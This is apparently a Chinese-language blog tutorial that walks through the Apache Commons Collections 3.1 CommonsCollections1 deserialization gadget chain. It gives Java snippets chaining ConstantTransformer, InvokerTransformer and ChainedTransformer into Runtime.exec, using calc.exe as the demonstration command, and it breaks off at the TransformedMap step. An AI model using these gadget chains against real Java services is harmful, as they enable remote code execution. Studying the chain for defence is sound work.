基础
Apache Commons Collections包和简介
Apache Commons Collections包对一些常用的数据结构进行了一些操作,提供了新的接口、实现。
环境:
commons-collections 3.1
jdk 7u80
在CommonCollections1中,Java反序列化的入口类是AnnotationInvocationHandler(可以序列化,重写了readObject方法,并且传入的参数可控),出口是InvokerTransformer在它的transform方法中执行了反射。
思路是在idea中对transform方法进行Find Usages(Alt + F7)去寻找其他类中实现这个方法的地方,在org.apache.commons.collections.map中找到两处:lazymap和transformedmap,然后继续查找上一层的方法。
Transformer接口
这个接口是对对象的一个转换,里面有一个Transformer方法,他有好几个实现类,在这里用到的是:ConstantTransformer,InvokerTransformer,ChainedTransformer,
InvokerTransformer
为什么它可以作为反序列化的出口?
它的transform方法中可以执行反射,进行命令执行。
public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs);
getRuntime类没有实现Serializable接口,所以不能序列化,Runtime r = Runtime.getRuntime()也就不可以,要用Runtime.class,class类实现了Serializable接口
正常反射代码:
Class c = Runtime.class; //获取构造方法,getRuntime方法能获取Runtime对象,无参 Method getRuntimeMethod = c.getMethod("getRuntime",null); //获取Runtime对象,getRuntime方法是静态的,第一个参数为null Runtime r = getRuntimeMethod.invoke(null,null); //获取exec方法 Method execMethod = c.getMethod("exec",String.class); //反射 execMethod.invoke(r,"calc");
invokerTransformer代码:
//每一句都与正常反射语句相对应,并且后一句都使用上一句的结果 Method method = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class); Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}).transform(method); new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"C:\\\\Windows\\\\System32\\\\calc.exe"}).transform(runtime);
ConstantTransformer
实现了transformer接口,重写transform()方法
构造函数传入对象并赋值给iConstant
transform返回iConstant
它的transform最后都会返回iConstant值,不管传入该方法传入的参数如何
new ConstantTransformer(Runtime.getRuntime()), //返回此Java应用程序的当前运行对象,然后包装此对象,回调时使用
ChainedTransformer
Transformer串联成Transformer[]
transformer():前⼀个回调返回的结果,作为后⼀个回调的参数传⼊
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "C:\\Windows\\System32\\calc.exe" }),}; Transformer transformerChain = new ChainedTransformer(transformers);
TransformedMap
它里面的checkSetValue方法调用了invokerTransformer中的transform方法,它这个类是用来修饰一个Map并对添加进来的对象进行转换
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; } public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); } protected Object checkSetValue(Object value) { return valueTransformer.transform(value); }
上面的checkSetValue方法就是要调用的方法,他会调用valueTransformer的transform方法,而valueTransformer就是构造函数中的第三个参数也就是之前的InvokerTransformer(第一个参数可以传入新建的Map对象,第二个参数可以暂时为空),decorate方法会返回一个它的新建的对象。
实现代码:
Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = (InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"C:\\\\Windows\\\\System32\\\\calc.exe"});
Comments | NOTHING